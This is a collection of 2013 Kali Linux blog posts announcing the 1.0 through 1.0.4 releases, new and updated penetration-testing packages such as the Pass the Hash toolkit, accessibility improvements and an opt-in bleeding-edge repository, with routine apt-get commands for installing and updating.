In keeping with our tradition of publishing new releases during the annual Black Hat and DEF CON conferences, we are pleased to announce the availability of Kali Linux 1.0.4. The last few months since the initial release of Kali have seen a large number of changes, upgrades, and improvements in the distribution, all of which are included in version 1.0.4.

Penetration Testing Tool Additions

Thanks to numerous requests from the Kali Linux community on the Kali Bug Tracker, we have added many new tools to Kali’s arsenal, including:

Penetration Testing Tool Updates

In addition to the new tools that we have added to the distribution, version 1.04 of Kali Linux also contains many upgraded packages. Some of the more notable updates are:

More Kali Linux ARM Images

Our quest to get Kali Linux running on popular ARM hardware is going strong and our trusted contributor, OffSec , has provided new ARM images for the BeagleBone Black, CuBox, and Efika MX to our growing collection.

Seamless upgrade Of Kali Linux

As usual, you do not need to re-download Kali Linux 1.0.4 if you already have it installed. A regular “apt-get update && apt-get dist-upgrade” will do the job of getting you to the latest and greatest!

Pass the Hash toolkit, Winexe and more.

Mon, 15 Jul 2013 00:00:00 +0000

We’ve just pushed a bunch of packages, tools, and utilities to the main Kali repositories. These tools have been on the top of our wish list for a while and some of them were quite challenging to package. Before we start telling you of our packaging woes, here’s how to update your Kali installation and get the latest goodness from our repos:

apt-get update
apt-get dist-upgrade
apt-get install passing-the-hash unicornscan winexe
apt-get install unicornscan enum4linux polenum
apt-get install nfspy firmware-mod-kit wmis
# and if you haven't already:
apt-get install nipper-ng jsql oclgausscrack ghost-phisher uniscan
apt-get install lbd automater arachni bully inguma sslsplit dumpzilla
apt-get install owasp-mantra-ff recon-ng ridenum regripper jd-gui

Pass The Hash Toolkit

We have *finally* finished packaging the Pass the Hash Toolkit in an elegant and intelligent way, thanks to samba4. Samba 4 is architectured differently than previous versions and many parts of the core functionality have been moved into libraries. This made it possible for us to easily override a couple of functions in those libraries with the help of the dynamic loader (using LD_PRELOAD) and saved us the need to recompile a patched samba in order to introduce the PTH tookit to Kali. All PTH tools and utilities have a “pth-” prefix.

Winexe

Winexe (also with PTH capabilities) was also challenging to get running in Kali due to mysterious segfaults in the application on 32 bit Kali systems. Fortunately, those issues were solved and the latest Winexe is now available in the Kali repositories.

Kali Linux Release at DEF CON 21

We will be releasing a bugfix rollup of Kali Linux during the BlackHat and DEF CON security conferences this year - all these tool additions and updates will be available in the upcoming release. To all conference goers, see you there!

Kali Linux Accessibility Improvements

Fri, 26 Apr 2013 00:00:00 +0000

A couple of weeks ago, we were approached (independently) by two blind security enthusiasts who both drew our attention to the fact that Kali Linux had no built-in accessibility features. This made Kali difficult, if not impossible, to both install and use from a blind or visually impaired user’s perspective.

Our first attempts at building an accessible version of Kali failed and after a bit of digging, we found that there were several upstream GNOME Display Manager (GDM3) bugs in Debian, which prevented these accessibility features from functioning with the GDM greeter. Working together with an upstream GNOME developer, we knocked out these bugs and had the fixes implemeted in Kali, and hopefully in future builds of GDM3 in Debian. To make the Kali installation accessible as well, we have added a new “accessibility” boot option that triggers the speech engine during the installation process.

We are very proud to have sponsored this work, which has brought much-improved accessibility features to both Kali Linux and Debian and we sincerely hope to continue receiving feedback from the community so we can further improve Kali Linux. We have also taken this opportunity add a new “Live Desktop” installer and have released a new version of Kali Linux that has these accessibility features built-in.

To activate the speech assisted installer, press “S” at boot time, and hit enter.

Bleeding Edge Kali Linux

Mon, 25 Mar 2013 00:00:00 +0000

We’ve been busy this week, still behind on our emails, but going strong with Kali development. We packaged some new tools which were pointed out by the community as missing, such as inguma, arachni, bully, lbd, uniscan, automater, as well as started to build a framework of libraries and patches for bluetooth sniffing and ubertooth tools. We also fixed the Kali Menu to be editable again.

With over 300 tools in our repository, it’s close to impossible for us to keep *every* tool updated to the latest git version, all the time. A good example of this happed a few days ago, when we updated the SET package. Two days after we updated the package, we got a “tool upgrade” request for SET in our bug tracker, as our package was already outdated. Seems a bit extreme? Maybe not, consider the following conundrum:

You have an audit tommorrow, and you’re getting your tools ready. You boot Kali Linux up, run an “apt-get update && apt-get upgrade” to make sure you’re running the latest stable versions of $your_favorate_tool. After the update, you notice that $your_favorate_tool has a package that was updated last week in our repositories. However, in the past week, some pretty awesome updates were added to $your_favorate_tool upstream, and you really need those new features for the upcoming assessment. What do you do ?

Worst Thing To Do.

Assuming you’re not using Kali as a “Throw Away Instance”, the worst thing to do in this case is to overwrite packaged files. For example, the following commands to update a tool that gets updated frequently is a big no-no and will ultimately break your install in the future:

# dont update tools like this!
cd /usr/share/
rm -rf $your_favorate_tool
git clone $your_favorate_tool

OK To Do…but, Meh.

Since you shouldn’t be messing with packaged files, the most common option is to svn or git checkout $your_favorate_tool in a temporary directory and use it from there as shown below. In most cases, all the dependencies needed for the updated tool will usually already exist in Kali. Alternatively, you could opt to rebuild the source package, which includes your updates and changes:

cd ~
mkdir work
cd work
git clone $your_favorate_tool
cd $your_favorate_tool
./your_favorate_tool

Our Solution.

We said *close* to impossible, right? Seeing this clash between the update frequency of some tools and the need (of some people, not everyone) to “always have the latest revision of $your_favorate_tool”, we came up with an interesting solution. We’ve set up an opt-in “Kali bleeding edge” repository which contains daily builds for several useful and frequently updated tools. These repositories are still highly experimental (meaning we expect things to break from time to time until we get more feedback from the community). If you want to try this feature out, you are welcome to add the bleeding edge repository as shown below however, please remember that term “bleeding edge”. There’s a reason for the blood:

echo deb http://http.kali.org/kali kali-bleeding-edge main contrib non-free >> /etc/apt/sources.list
apt-get update
apt-get upgrade

We currently have a handful of tools in this repository, which include se-toolkit (set), aircrack-ng, dnsrecon, sqlmap, rfidiot, beef-xss, libnfc, libfreefare, mfoc and mfcuk. We expect this list to grow with time.

Kali Linux Release Aftermath

Mon, 18 Mar 2013 00:00:00 +0000

Five days into the Kali Linux release at BlackHat EU in Amsterdam, and we’re still not fully recovered. Since the release, we’ve had just over 90,000 downloads, a dozen or so package updates, added more articles to the Kali Documentation, started a Portuguese translation, and we even managed to squeeze in a small bugfix release (Kali 1.0.1), which resolved an annoying USB keyboard issue some users reported. The responses to Kali so far have been extremely positive and our bug tracker is surely enough filling up with new tool requests. We encourage Open-source tool developers to contact us so that we can work together towards this goal.

We have big hopes for our shiny “Kali Linux Documentation” platform and will continue writing up useful articles that serve the Kali community. ~~We have made the effort to automatically generate a PDF offline version of our server for public download~~ (Removed in 2021). We strongly recommend that even experienced Linux and BackTrack users take the time to read through this documentation, as Kali Linux has some unique features which would throw off anyone without a proper understanding of the underlying mechanisms. PDF downloads for additional translated languages will become available soon as translation work speeds ahead.

We would like to take this opportunity to thank everyone involved in the past year’s development of Kali Linux - developers, funders, programmers, web designers, translators, community administrators, mirror contributors, and tech writers, without whom Kali Linux would not have come to light. Extra special thanks to the OffSec team who have dedicated themselves to Kali Linux in the past year and to Rapid 7 for supporting our release and officially contributing the Metasploit packages to Kali Linux.

We will continue to be responsive to the community through our formal channels, and in turn, hope that through this new interaction, the community will help grow, and continually improve, Kali Linux.

Kali Linux 1.0 Release - Moto - The Birth of Kali Linux

Wed, 13 Mar 2013 00:00:00 +0000

Kali Linux, the rising

It’s been 7 years since we released our first version of BackTrack Linux, and the ride so far has been exhilarating. When the dev team started talking about BackTrack 6 (almost a year ago), each of us put on paper a few “wish list goals” that we each wanted implemented in our “next version”.

Scrapping it all and starting afresh

It soon became evident to us that with our 4 year old development architecture, we would not be able to achieve all these new goals without a massive restructure, so, we massively restructured. We realized it would be easier to start afresh, using new technologies and processes than to try to patch up our existing environment to conform to Debian policies and FSH. This realization brought upon the next question…

Ubuntu vs. Debian

Once we realized we are free from the bonds of our old environment, we started musing about the base platform we want to build our next penetration testing distribution - the main players on our table were Debian and Ubuntu. With both options heavily weighed and gently avoiding philosophical rants about the pros and cons of each, Debian was our final choice.

What about the OffSec courses?

Surprisingly enough, with all the new changes we have made in Kali, the user experience remains pretty much the same. Apart from a couple of path changes due to our new FHS compliance, our students should feel little difference between Kali and BackTrack.

Where’s my /pentest?

Gone. Kaput. Kwisha. Dissipated. FSH compliance has removed the /pentest structure from our distribution. Although the /pentest directory tree was a signature of our previous distributions for many years, it always brought with it policy questions which could never be satisfactorily answered. For example, when does a tool go in /pentest, and when should it be placed in the $PATH? Where should a tool like “sqlmap” be placed? Should it be in /pentest/web, or /pentest/database? With our new FSH compliant packages, there’s no guesswork left. Everything is in the path and accessible directly, as it should be.

Kali Linux - what’s in a name?

Hindu Goddess of time and change? Philippine martial art? Cool word in Swahili? None of the above. “Kali” is simply the name we came up with for our new distribution. Why change the name in the first place? With all these significant changes in our distribution, we felt that we needed to convey this in the project name. “BackTrack 6” didn’t do justice to our efforts in the past year, and wouldn’t convey our new message to our users. What’s the new message? We’ll let you find out for yourself.

What's New in Kali Linux?

Wed, 13 Mar 2013 00:00:00 +0000

Enter Kali Linux

“So, what’s the difference between BackTrack and Kali?” you might be asking. Unfortunately for us, that’s not a simple question to answer. It’s a mix between “everything” and “not much”, depending on how you used BackTrack.

From an end user perspective, the most obvious change would be the switch to Debian and an FHS-compliant system. What this means is that instead of having to navigate through the /pentest tree, you will be able to call any tool from anywhere on the system as every application is included in the system path. However, there’s much hidden magic in that last sentence. I’ll quickly list some of the new benefits of this move.

Streaming Security and Package Updates From Debian

Our new streamlined repositories synchronize with the Debian repositories 4 times a day, constantly providing you with the latest package updates and security fixes available.

Debian Compliant Packaging of Each Tool in Kali

This is where we’ve been spending most of our time and effort. Relentlessly packaging dozens of useful tools, painstakingly making sure our packages are Debian compliant.

Long Term Packaging and Maintenance of High Profile Tools

Many of the tools in our toolbox need to be “bleeding edge”. This means we have take on the task of packaging and maintaining upstream versions of many tools, so that our users are constantly kept up to date where it matters.

Streamlined Development Process

As our source packages are now also Debian compliant, you can quickly and easily get the required sources of each tool, then modify and rebuild them with a couple of commands.

Bootstrap Builds and ISO Customizations

One of the many benefits of our move to a Debian compliant system, is the ability to Bootstrap a Kali Installation/ISO directly from our repositories. This means that you can easily build your own customizations of Kali, as well as perform enterprise network installs from a local or remote repository.

Automating Kali Installations

Kali Linux installations can now be automated using pre-seed files. This allows for enterprise wide customization and deployment on multiple systems.

Real ARM Development

BackTrack 5 brought with it new support for ARM hardware. Our ARM build-bot was a modified Motorola Xoom tablet, which suffice to say, didn’t last for long. To help remedy this, OffSec has donated a Calxeda ARM cluster to our project, allowing reliable and long term development of Kali Linux ARM images.

Complete Desktop Environment Flexibility.

Our new build and repository environments allow for complete flexibility in generating your own updated Kali ISOs, with any desktop environment you like. Do you prefer KDE? LXDE? XFCE? Anything else? Then change your Kali desktop environment yourself.

Seamless Upgrades Between Future Major Versions

Another benefit derived from the move to a Debian compliant system is the ability to seamlessly upgrade future major version of Kali. No longer will you have to reinstall your penetration testing machine due a new version of Kali coming out.

With all these changes (and many more), you can see why we’re so excited about this release. Go ahead and give Kali a spin. Head on to the documentation area for some setup guides, and then over to our forums and join the new Kali community!